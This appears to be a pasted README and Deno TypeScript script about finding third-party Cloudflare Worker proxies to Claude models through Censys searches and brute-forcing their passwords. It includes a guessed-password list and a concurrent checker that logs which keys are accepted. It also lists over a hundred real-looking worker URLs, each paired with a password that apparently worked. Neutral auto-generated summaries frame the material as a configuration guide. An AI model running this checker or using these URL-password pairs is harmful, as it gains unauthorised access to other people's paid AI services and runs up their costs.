Free Claude
unlisted
Aug 15, 2024
Never
2302
Markdown
README.md
TypeScript
urlChecker.ts
This code snippet seems to be a configuration and setup guide for utilizing GCP proxies running on Cloudflare Workers. The script appears to automate the process of scraping worker dev links and running them through a URL checker script.
Features of the code:
1. Utilizes Censys search to retrieve worker proxies and stores the information in a JSON file.
2. Mentions the usage of a URL checking script named `urlChecker.ts`.
3. Contains a list of working proxies categorized by different versions (3 Opus, 3.5 Sonnet, 3 Sonnet, 3 Haiku) with respective authentication credentials.
4. Provides references to related GitHub repositories and sources of password lists.
Areas for Improvement:
1. Mentioned possible areas of improvement include expanding the list of workers from Censys and increasing the password brute force list.
2. The comment implies that some of the proxies may not be operational.
3. The references point to resources for additional information.
This code snippet is more of a descriptive guide rather than executable code. If you are looking for an analysis of the actual scripts involved or their functionality, additional context would be necessary.
Chinese Cloudflare Worker VertexAI Claude proxies
So yeah, those are just GCP proxies running on workers Example Censys search: censys search '"claude-3-opus@20240229"' --pages 10 --virtual-hosts ONLY > workers.jsonl
The urlChecker.ts script (thx 3.5 sonnet) expects there to be a urls.txt with the URLs of worker dev links, also you need Deno to run it.
There's plenty room of improvement:
- I didn't get all workers from Censys
- The password bruteforce list could be quite a bit bigger
References:
- The chinese fork of the GCP vertex worker thing - https://gist.github.com/pzcn/ea54b8f59deba521a3313356787929f4
- Main thread where they were discussing it (and where I got some of the used passwords) - https://linux.do/t/topic/118702
List of working proxies I scanned (not all might work):
3 Opus
https://anthropic-aig.kathyyliao.workers.dev/v1 sk-pass
https://002gpc.huakang0813.workers.dev/v1 sk-xxxx
https://claude.lonsun.workers.dev/v1 sk-pass
https://claude.vzz.workers.dev/v1 sk-123456
https://gcp-20-1.gilts-tows-0x.workers.dev/v1 sk-pass123
https://gcp-claude-full.newstar66.workers.dev/v1 sk-pass
https://rapid-haze-5833.ijazr2-vz.workers.dev/v1 sk-xxxx
3.5 Sonnet
https://anthropic-aig.kathyyliao.workers.dev/v1 sk-pass
https://002gpc.huakang0813.workers.dev/v1 sk-xxxx
https://claude.lonsun.workers.dev/v1 sk-pass
https://claude.vzz.workers.dev/v1 sk-123456
https://gcp-20-1.gilts-tows-0x.workers.dev/v1 sk-pass123
https://gcp-claude-full.newstar66.workers.dev/v1 sk-pass
https://gcp2.h1xy.workers.dev/v1 sk-xxxx
https://gcpopus.a1136545430.workers.dev/v1 sk-xxxx
https://rapid-haze-5833.ijazr2-vz.workers.dev/v1 sk-xxxx
3 Sonnet
https://anthropic-aig.kathyyliao.workers.dev/v1 sk-pass
https://claude.lonsun.workers.dev/v1 sk-pass
https://gcp2.h1xy.workers.dev/v1 sk-xxxx
3 Haiku
https://anthropic-aig.kathyyliao.workers.dev/v1 sk-pass
https://claude.lonsun.workers.dev/v1 sk-pass
https://002gpc.huakang0813.workers.dev/v1 sk-xxxx
https://claude.vzz.workers.dev/v1 sk-123456
https://gcp-claude-full.newstar66.workers.dev/v1 sk-pass
https://gcp2.h1xy.workers.dev/v1 sk-xxxx
https://rapid-haze-5833.ijazr2-vz.workers.dev/v1 sk-xxxx
Just the full list with "valid" auth (those are all probably already dead for some reason):
https://ai-proxy-ztcs2.xmtayun.workers.dev sk-pass
https://ai-proxy-ztcs.xmtayun.workers.dev sk-pass
https://ai-proxy-ztcs3.xmtayun.workers.dev sk-pass
https://autumn-smoke-2eb9.1697044379.workers.dev sk-pass
https://anthropic-aig.kathyyliao.workers.dev sk-pass
https://autumn-hall-504b.tsmidx.workers.dev sk-pass123
https://billowing-block-503c.tsmidx.workers.dev sk-pass123
https://billowing-grass-662c.tsmidx.workers.dev sk-pass123
https://black-wildflower-1dd6.gilts-tows-0x.workers.dev sk-pass123
https://002gpc.huakang0813.workers.dev sk-xxxx
https://broken-frost-e885.tsmidx.workers.dev sk-pass123
https://broken-mountain-daf4.tsmidx.workers.dev sk-pass123
https://cf-1-3.478255251723.workers.dev sk-pass
https://calm-surf-f93f.tsmidx.workers.dev sk-pass123
https://claude-3-5-sonnet-20240620.mrr035.workers.dev sk-pass
https://claude-3-opus-20240229.mrr035.workers.dev sk-pass
https://claude-gcp.2650.workers.dev sk-pass
https://claude.chensa.workers.dev sk-pass
https://claude.lonsun.workers.dev sk-pass
https://claude.keli.workers.dev sk-pass
https://claude.980588085.workers.dev sk-xxxx
https://cool-flower-3314.adunce6.workers.dev sk-pass
https://crimson-heart-a135.tsmidx.workers.dev sk-pass123
https://crimson-paper-b1ad.tsmidx.workers.dev sk-pass123
https://claude.vzz.workers.dev sk-123456
https://curly-bird-f6bb.tsmidx.workers.dev sk-pass123
https://delicate-dawn-351e.tsmidx.workers.dev sk-pass123
https://dry-glitter-bfc7.tsmidx.workers.dev sk-pass123
https://empty-union-4643.tsmidx.workers.dev sk-pass123
https://anthropic-proxy.frbbehrens.workers.dev sk-pass
https://fancy-leaf-cb3f.tsmidx.workers.dev sk-pass123
https://floral-hat-74b2.tsmidx.workers.dev sk-pass123
https://floral-glitter-90f1.tsmidx.workers.dev sk-pass123
https://frosty-sun-02c7.tsmidx.workers.dev sk-pass123
https://frosty-tooth-cb26.tsmidx.workers.dev sk-pass123
https://gcp-20-2.gilts-tows-0x.workers.dev sk-pass123
https://gcp-20-4.gilts-tows-0x.workers.dev sk-pass123
https://gcp-20-3.gilts-tows-0x.workers.dev sk-pass123
https://gcp-20-1.gilts-tows-0x.workers.dev sk-pass123
https://gcp-claude-full.newstar66.workers.dev sk-pass
https://gcp-claude.syx20080121.workers.dev sk-pass
https://gcp2.h1xy.workers.dev sk-xxxx
https://gentle-flower-a3d6.tsmidx.workers.dev sk-pass123
https://geminiweb.1068092013-e1e.workers.dev sk-pass123
https://gpt88-son-2.gilts-tows-0x.workers.dev sk-pass123
https://gpt88-son.gilts-tows-0x.workers.dev sk-pass123
https://gcpopus.a1136545430.workers.dev sk-xxxx
https://googleapi.inliver23.workers.dev sk-pass
https://hidden-union-b1da.tsmidx.workers.dev sk-pass123
https://jolly-scene-015a.tsmidx.workers.dev sk-pass123
https://jolly-wood-d1a5.tsmidx.workers.dev sk-pass123
https://lingering-meadow-9ea3.tsmidx.workers.dev sk-pass123
https://lucky-fog-9623.tsmidx.workers.dev sk-pass123
https://lucky-unit-6494.tsmidx.workers.dev sk-pass123
https://misty-union-9d73.tsmidx.workers.dev sk-pass123
https://morning-base-b37d.tsmidx.workers.dev sk-pass123
https://morning-moon-8619.tsmidx.workers.dev sk-pass123
https://muddy-cloud-f3e0.tsmidx.workers.dev sk-pass123
https://mute-snow-a28a.lbs1986.workers.dev sk-pass
https://mute-voice-2d5d.tsmidx.workers.dev sk-pass123
https://nameless-boat-da7d.tsmidx.workers.dev sk-pass123
https://nameless-disk-d728.tsmidx.workers.dev sk-pass123
https://noisy-field-5372.tsmidx.workers.dev sk-pass123
https://odd-tooth-e6e4.adunce6.workers.dev sk-pass
https://old-sound-e3f5.tsmidx.workers.dev sk-pass123
https://patient-cloud-4eb3.tsmidx.workers.dev sk-pass123
https://plain-thunder-aaab.tsmidx.workers.dev sk-pass123
https://proud-smoke-12e0.tsmidx.workers.dev sk-pass123
https://quiet-cell-152f.tsmidx.workers.dev sk-pass123
https://rapid-morning-aa5b.tsmidx.workers.dev sk-pass123
https://raspy-bread-1d29.tsmidx.workers.dev sk-pass123
https://raspy-truth-786a.tsmidx.workers.dev sk-pass123
https://raspy-feather-6a4b.226493076.workers.dev sk-xxxx
https://restless-butterfly-7619.tsmidx.workers.dev sk-pass123
https://restless-frost-db04.tsmidx.workers.dev sk-pass123
https://restless-violet-9fdb.tsmidx.workers.dev sk-pass123
https://rapid-haze-5833.ijazr2-vz.workers.dev sk-xxxx
https://round-hill-846a.qefe048541.workers.dev sk-xxxx
https://royal-resonance-7ca7.tsmidx.workers.dev sk-pass123
https://shiny-sun-814b.tsmidx.workers.dev sk-pass123
https://shiny-tree-6249.tsmidx.workers.dev sk-pass123
https://shrill-frog-addc.tsmidx.workers.dev sk-pass123
https://silent-brook-3a4d.tsmidx.workers.dev sk-pass123
https://shiny-recipe-ae8a.testdjrd.workers.dev sk-xxxx
https://silent-wildflower-b129.ijazr2-vz.workers.dev sk-pass
https://silent-unit-132b.tsmidx.workers.dev sk-pass123
https://snowy-salad-4376.tsmidx.workers.dev sk-pass123
https://soft-brook-7d20.tsmidx.workers.dev sk-pass123
https://solitary-dew-6f9a.tsmidx.workers.dev sk-pass123
https://solitary-queen-1c02.tsmidx.workers.dev sk-pass123
https://sparkling-darkness-00c5.tsmidx.workers.dev sk-pass123
https://sparkling-leaf-e261.tsmidx.workers.dev sk-pass123
https://sparkling-voice-6d9a.tsmidx.workers.dev sk-pass123
https://square-sunset-b51c.tsmidx.workers.dev sk-pass123
https://steep-river-0ec6.tsmidx.workers.dev sk-pass123
https://steep-term-5523.tsmidx.workers.dev sk-pass123
https://still-voice-3e10.tsmidx.workers.dev sk-pass123
https://summer-mouse-25c1.tsmidx.workers.dev sk-pass123
https://super-morning-c77e.tsmidx.workers.dev sk-pass123
https://sweet-bar-9fc8.tsmidx.workers.dev sk-pass123
https://sweet-dawn-a682.3150610566.workers.dev sk-pass123
https://throbbing-haze-ce54.tsmidx.workers.dev sk-pass123
https://tiny-block-8cde.tsmidx.workers.dev sk-pass123
https://tiny-meadow-3e25.tsmidx.workers.dev sk-pass123
https://tiny-resonance-ea02.tsmidx.workers.dev sk-pass123
https://tt.zbjxhsbajdgs.workers.dev sk-pass
https://twilight-resonance-3956.tsmidx.workers.dev sk-pass123
https://vertex2api.19770214.workers.dev sk-pass
https://vison-claude.ltyvsinger.workers.dev sk-pass
https://white-lake-73af.tsmidx.workers.dev sk-pass123
https://wild-art-3890.tsmidx.workers.dev sk-pass123
https://wild-grass-d686.tsmidx.workers.dev sk-pass123
https://winter-glade-535a.tsmidx.workers.dev sk-pass123
https://withered-grass-080a.tsmidx.workers.dev sk-pass123
https://yellow-sound-74e6.tsmidx.workers.dev sk-pass123
This code is a Deno script that checks multiple URLs with different API keys and models to determine if the API key is valid for the given URL and model. Here is an analysis of the key components of this code:
1. **Semaphore Class**: This class is used to control access to a shared resource (in this case, the limit of concurrent tasks). It ensures that a certain number of permits are available before executing tasks.
2. **API Keys and Models**: Arrays containing sample API keys and models for testing.
3. **RESULTS_FOLDER and VALID_AUTH_FILE**: Constants defining the folder and file paths for storing results and valid authentication data.
4. **jsonData Function**: This function creates a JSON object with model data and message content.
5. **appendToModelFile Function**: This function appends content to a text file named after the model.
6. **appendToValidAuthFile Function**: This function appends content to a text file named `valid_auth.txt`.
7. **checkUrl Function**: It sends a POST request to a URL with specific headers and data for checking the response status.
8. **checkUrlWithSingleModel Function**: It iterates over API keys to check a URL with a single model until a non-401 and non-403 status code is returned.
9. **checkUrlWithAllKeys Function**: It checks a URL with all models using a valid API key and saves the results to files.
10. **main Function**: Reads URLs from a file, creates a semaphore, and runs tasks concurrently to check URLs with API keys and models.
11. **Execution**: The `main` function is executed when the script is run directly.
This script effectively utilizes Deno's features such as async/await, modules, file system manipulation, network requests, and concurrent task management to perform API key validation checks for various URLs and models.
1 2 3 class Semaphore { 4 private permits: number 5 private queue: Array<() => void> = [] 6 7 constructor(permits: number) { 8 this.permits = permits 9 } 10 11 async acquire(): Promise<void> { 12 if (this.permits > 0) { 13 this.permits-- 14 return Promise.resolve() 15 } 16 17 return new Promise<void>((resolve) => { 18 this.queue.push(resolve) 19 }) 20 } 21 22 release(): void { 23 this.permits++ 24 25 if (this.queue.length > 0 && this.permits > 0) { 26 this.permits-- 27 const nextResolve = this.queue.shift() 28 if (nextResolve) nextResolve() 29 } 30 } 31 } 32 33 const apiKeys = [ 34 "sk-pass", 35 "sk-pass123", 36 "sk-gk203071", 37 "sk-key", 38 "sk-1234", 39 "sk-password", 40 "sk-123456", 41 "pass", 42 "1234", 43 "111", 44 "888", 45 "sk-888", 46 "sk-xxxx", 47 "sk-xxx", 48 "sk-passcx", 49 "key", 50 "pwd", 51 ] 52 const models = [ 53 "claude-3-5-sonnet-20240620", 54 "claude-3-sonnet-20240229", 55 "claude-3-opus-20240229", 56 "claude-3-haiku-20240307", 57 ] 58 const RESULTS_FOLDER = "model_results" 59 const VALID_AUTH_FILE = `${RESULTS_FOLDER}/valid_auth.txt` 60 61 const jsonData = (model: string) => ({ 62 model: model, 63 messages: [{ "role": "user", "content": "hi!" }], 64 max_tokens: 512, 65 }) 66 67 async function appendToModelFile(model: string, content: string): Promise<void> { 68 await ensureDir(RESULTS_FOLDER) 69 const fileName = `${RESULTS_FOLDER}/${model.replace(/[-:]/g, "_")}.txt` 70 await ensureFile(fileName) 71 await Deno.writeTextFile(fileName, content + "\n", { append: true }) 72 } 73 74 async function appendToValidAuthFile(content: string): Promise<void> { 75 await ensureDir(RESULTS_FOLDER) 76 await ensureFile(VALID_AUTH_FILE) 77 await Deno.writeTextFile(VALID_AUTH_FILE, content + "\n", { append: true }) 78 } 79 80 async function checkUrl(url: string, apiKey: string, model: string): Promise<number> { 81 try { 82 const response = await fetch(url + "/v1/messages", { 83 method: "POST", 84 headers: { 85 "Content-Type": "application/json", 86 "x-api-key": apiKey, 87 "Authorization": `Bearer ${apiKey}`, 88 }, 89 body: JSON.stringify(jsonData(model)), 90 }) 91 console.log(`URL: ${url}, API Key: ${apiKey}, Model: ${model}, Status: ${response.status}`) 92 return response.status 93 } catch (error) { 94 console.error(`Error checking URL ${url} with key ${apiKey} for model ${model}:`, error) 95 return 0 96 } 97 } 98 99 async function checkUrlWithSingleModel(url: string, model: string): Promise<string | null> { 100 for (const apiKey of apiKeys) { 101 const status = await checkUrl(url, apiKey, model) 102 if (status !== 401 && status !== 403) { 103 return apiKey 104 } 105 } 106 return null 107 } 108 109 async function checkUrlWithAllKeys(url: string): Promise<void> { 110 if (!url.startsWith("http://") && !url.startsWith("https://")) { 111 url = "https://" + url 112 } 113 console.log(`Checking URL: ${url}`) 114 115 // First, check with a single model 116 const initialModel = models[0] 117 const workingApiKey = await checkUrlWithSingleModel(url, initialModel) 118 119 if (workingApiKey) { 120 // If a working API key is found, check all models with this key 121 await appendToValidAuthFile(`${url} ${workingApiKey}`) 122 for (const model of models) { 123 const status = await checkUrl(url, workingApiKey, model) 124 if (status === 200) { 125 await appendToModelFile(model, `${url} ${workingApiKey}`) 126 } 127 } 128 } else { 129 console.log(`No working API key found for ${url}`) 130 } 131 } 132 133 async function main() { 134 const fileContent = await Deno.readTextFile("urls.txt") 135 const urls = fileContent.split("\n").map((line) => line.trim()).filter(Boolean) 136 137 const semaphore = new Semaphore(20) 138 const tasks = urls.map(async (url) => { 139 await semaphore.acquire() 140 try { 141 await checkUrlWithAllKeys(url) 142 } finally { 143 semaphore.release() 144 } 145 }) 146 147 await Promise.all(tasks) 148 } 149 150 if (import.meta.main) { 151 main() 152 }